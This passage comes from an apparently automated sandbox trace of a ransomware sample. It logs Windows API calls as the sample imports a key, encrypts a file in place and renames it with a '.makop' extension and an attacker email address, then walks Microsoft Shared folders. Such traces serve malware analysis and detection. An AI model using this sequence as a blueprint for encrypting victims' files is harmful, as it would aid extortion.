lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0086.085] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0086.085] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0086.085] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0086.085] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0086.085] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0086.086] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.086] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x69000, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x69000, lpOverlapped=0x0) returned 1 [0086.096] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x69000, dwBufLen=0x69000 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x69000) returned 1 [0086.100] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.100] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x69000, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x69000, lpOverlapped=0x0) returned 1 [0086.103] CryptDestroyKey (hKey=0x48c7128) returned 1 [0086.103] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x690d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.103] SetEndOfFile (hFile=0xf0) returned 1 [0086.111] GetProcessHeap () returned 0x48a0000 [0086.112] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0086.112] GetProcessHeap () returned 0x48a0000 [0086.112] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0086.112] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 111 [0086.112] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0086.113] CloseHandle (hObject=0xf0) returned 1 [0086.113] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 0 [0086.113] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0086.113] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1 [0086.113] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink") returned 50 [0086.113] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*") returned 54 [0086.113] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0086.114] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.114] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0086.114] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0086.114] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.116] GetLastError () returned 0x5 [0086.116] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0086.116] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA") returned 56 [0086.116] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*.*") returned 60 [0086.116] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0086.118] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.118] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0086.118] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0086.118] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.120] GetLastError () returned 0x5 [0086.120] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0086.120] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0086.120] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0086.120] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG") returned 56 [0086.121] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*.*") returned 60 [0086.121] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0086.121] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.121] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0086.122] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0086.122] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.122] GetLastError () returned 0x5 [0086.122] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0086.122] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0086.122] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0086.122] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0086.122] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.123] GetLastError () returned 0x5 [0086.123] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92176b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c92176b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdd6ec0f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConvertInkStore.exe", cAlternateFileName="")) returned 1 [0086.123] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0086.123] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ") returned 56 [0086.123] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*.*") returned 60 [0086.123] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0086.124] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.124] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0086.124] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0086.124] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.125] GetLastError () returned 0x5 [0086.125] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0086.125] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0086.125] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0086.125] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK") returned 56 [0086.125] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*.*") returned 60 [0086.125] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0086.126] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.126] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0086.126] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0086.126] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.126] GetLastError () returned 0x5 [0086.126] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0086.127] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0086.127] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0086.127] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE") returned 56 [0086.127] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*.*") returned 60 [0086.127] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0086.129] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.129] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, 